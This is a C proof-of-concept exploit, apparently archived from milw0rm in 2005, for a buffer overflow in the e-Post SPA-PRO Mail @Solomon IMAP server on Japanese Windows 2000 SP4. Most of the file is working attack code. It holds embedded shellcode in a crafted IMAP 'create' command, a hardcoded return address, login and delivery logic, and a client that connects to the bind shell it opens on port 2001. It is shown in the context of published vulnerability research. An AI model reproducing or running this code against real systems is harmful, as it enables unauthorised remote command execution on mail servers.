File size: 8,143 Bytes
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// e-Post SPA-PRO Mail @Solomon SPA-IMAP4S 4.01 Service Buffer Overflow
// Vulnerability
//
// Bind Shell POC Exploit for Japanese Win2K SP4
// 31 May 2005
//
// This POC code binds shell on port 2001 of a vulnerable e-Post
// SPA-PRO Mail @Solomon IMAP server.
//
// This POC assumes default mailbox configuration C:\mail\inbox\%USERNAME%
// Any changes to the mailbox configuration will cause this POC to
// fail due to the length differences.
//
//
// Advisory
// http://www.security.org.sg/vuln/spa-promail4.html
// http://www.security.org.sg/vuln/spa-promail4-jp.html
//
//**************************************************************************
#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment (lib,"ws2_32.lib")
unsigned char expBuf[] =
"2 create \""
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC9\x66\xB9\xE8\x03\x2B\xE1\x32\xC0\x8B\xFC\xF3"
"\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x70\x08"
"\xD9\xEE\xD9\x74\x24\xF4\x5F\x83\xC7\x0C\xEB\x53\x60\x8B\x6C\x24"
"\x24\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x8B\x7E\x20\x03\xFD\x8B"
"\x4E\x18\x56\x33\xDB\x8B\x37\x03\xF5\x33\xC0\x99\xAC\x85\xC0\x74"
"\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x2C\x74\x09\x83\xC7"
"\x04\x43\xE2\xE1\x5E\xEB\x16\x5E\x8B\x7E\x24\x03\xFD\x66\x8B\x04"
"\x5F\x8B\x7E\x1C\x03\xFD\x8B\x04\x87\x01\x44\x24\x24\x61\xC3\x89"
"\x75\xF4\x68\x8E\x4E\x0E\xEC\x56\xFF\xD7\x59\x33\xC0\x66\xB8\x6C"
"\x6C\x50\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD1\x8B"
"\xF0\x68\xD9\x09\xF5\xAD\x56\xFF\xD7\x5B\x83\xC4\x20\x6A\x01\x6A"
"\x02\xFF\xD3\x89\x45\xD0\x68\xA4\x1A\x70\xC7\x56\xFF\xD7\x5B\x33"
"\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50\x8B\xC4\x6A\x10\x50"
"\xFF\x75\xD0\xFF\xD3\x68\xA4\xAD\x2E\xE9\x56\xFF\xD7\x5B\xFF\x75"
"\xD0\xFF\xD3\x8B\xCC\x6A\x10\x8B\xDC\x68\x35\x54\x8A\xA1\x56\xFF"
"\xD7\x5A\x50\x50\x53\x51\xFF\x75\xD0\xFF\xD2\x8B\xD0\x68\xE7\x79"
"\xC6\x79\x56\xFF\xD7\x58\x89\x45\xF0\x8B\x75\xF4\x83\xC4\x20\xC6"
"\x04\x24\x44\xC6\x44\x24\x2D\x01\x89\x54\x24\x38\x89\x54\x24\x3C"
"\x89\x54\x24\x40\x8B\xC4\x8D\x58\x44\x68\x72\xFE\xB3\x16\x56\xFF"
"\xD7\x5A\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51\x8B\xCC\x53\x53\x50"
"\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51\x50\xFF\xD2\x5B\x68\xAD"
"\xD9\x05\xCE\x56\xFF\xD7\x58\x6A\xFF\xFF\x33\xFF\xD0\xFF\x74\x24"
"\x48\xFF\x55\xF0\xFF\x75\xD0\xFF\x55\xF0\x68\xEF\xCE\xE0\x60\x56"
"\xFF\xD7\x58\xFF\xD0\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\xe9\x4f\xfe\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x54\x54\x54\x54"
"\x55\x55\x55\x55\x56\x56\x56\x56\x57\x57\x57\x57\xE9\x0C\xFE\xFF"
"\xFF\xCC\xEB\xa0\x5A\xD6\x19\xF8\x74\x41\x41\x41\x42\x42\x42\x42"
"\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46"
"\x47\x47\x47\x47\x48\x48\x48\x48\x36\x49\x49\x49\x4A\x4A\x4A\x4A"
"\x4B\x4B\x4B\x4B\x4C\x4C\x4C\x4C\x4D\x4D\x4D\x4D\x4E\x4E\x4E\x4E"
"\x4F\x4F\x4F\x4F\x50\x50\x50\x50\x51\x51\x51\x51\x52\x52\x52\x52"
"\x53\x53\x53\x53\x54\x54\x54\x54\x55\x55\x55\x55\x56\x56\x56\x56"
"\x57\x57\x57\x57\x58\x58\x58\x58\x59\x59\x59\x59\x5A\x5A\x5A\x5A"
"\"\r\n";
void shell(int sockfd)
{
char buffer[1024];
fd_set rset;
FD_ZERO(&rset);
for(;;)
{
if(kbhit() != 0)
{
fgets(buffer, sizeof(buffer) - 2, stdin);
send(sockfd, buffer, strlen(buffer), 0);
}
FD_ZERO(&rset);
FD_SET(sockfd, &rset);
timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 50;
if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
{
printf("select error\n");
break;
}
if(FD_ISSET(sockfd, &rset))
{
int n;
ZeroMemory(buffer, sizeof(buffer));
if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
{
printf("EOF\n");
return;
}
else
{
fwrite(buffer, 1, n, stdout);
}
}
}
}
#define ADDR_POSITION 534
#define RET_ADDR 0x74F819D6 // CALL EBX in Japanese Win2K SP4
// First short jump backwards. (EB AO)
// You should know what to change here, landing onto INT 3 to let debugger kick in.
#define FIRST_BACKJMP_INST 0x5AA0EBCC
int main(int argc, char* argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
struct sockaddr_in sin;
int err;
char inBuffer[10000];
char loginBuf[1000];
if(argc != 4)
{
printf("\nUsage: %s <imap username> <imap password> <ip addr>\n", argv[0]);
return 1;
}
if(strlen(argv[1]) <= 0 || strlen(argv[1]) > 20)
{
printf("\nInvalid IMAP username! Maximum username length is 20.\n");
return 1;
}
if(strlen(argv[2]) <= 0 || strlen(argv[2]) > 14)
{
printf("\nInvalid IMAP password! Maximum password length is 14.\n");
return 1;
}
memset(loginBuf, 0, sizeof(loginBuf));
_snprintf(loginBuf, sizeof(loginBuf), "1 login \"%s\" \"%s\"\r\n", argv[1], argv[2]);
loginBuf[sizeof(loginBuf)-1] = 0;
int retPos = ADDR_POSITION - (strlen(argv[1]) - 1);
*((DWORD *)&expBuf[retPos]) = RET_ADDR;
*((DWORD *)&expBuf[retPos-4]) = FIRST_BACKJMP_INST;
wVersionRequested = MAKEWORD(2,0);
err = WSAStartup(wVersionRequested, &wsaData);
if(err != 0)
{
printf("\nWSAStartup Error.\n");
return 1;
}
if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0)
{
printf("\nWinsock Version Error\n");
WSACleanup();
return 1;
}
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
sin.sin_addr.s_addr = inet_addr(argv[3]);
sin.sin_family = AF_INET;
sin.sin_port = htons(143);
printf("\n[+] Trying to connect to %s\n", inet_ntoa(sin.sin_addr));
if(connect(s, (sockaddr *)&sin, sizeof(sin)) != SOCKET_ERROR)
{
int size;
// read IMAP banner
size = recv(s, inBuffer, sizeof(inBuffer), 0);
if(size == SOCKET_ERROR)
{
printf("[-] Error receiving IMAP banner!\n");
return 1;
}
printf("[+] IMAP banner received!\n\n");
fwrite(inBuffer, 1, size, stdout);
printf("\n");
if(send(s, (char *)loginBuf, strlen((char *)loginBuf), 0) == SOCKET_ERROR)
{
printf("[-] Error sending login!\n");
return 1;
}
printf("[+] Login Sent.\n");
size = recv(s, inBuffer, sizeof(inBuffer), 0);
if(size == SOCKET_ERROR)
{
printf("[-] Error receiving login reply!\n");
return 1;
}
if(strstr(inBuffer, "OK"))
printf("[+] Login successful!\n");
else
{
printf("[+] Login failed!\n");
return 1;
}
if(send(s, (char *)expBuf, strlen((char *)expBuf), 0) == SOCKET_ERROR)
{
printf("[-] Error sending exploit!\n");
return 1;
}
else
{
printf("[+] Exploit sent!\n");
}
Sleep(2000);
//================================= Connect to the target ==============================
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
{
printf("Invalid socket return in socket() call.\n");
WSACleanup();
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(2001);
sin.sin_addr.s_addr = inet_addr(argv[3]);
if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
closesocket(sock);
WSACleanup();
return -1;
}
printf("[+] Exploit successful!\n\n");
shell(sock);
closesocket(sock);
}
else
{
printf("[-] Cannot connect!\n");
}
closesocket(s);
WSACleanup();
return 0;
}
// milw0rm.com [2005-06-02] |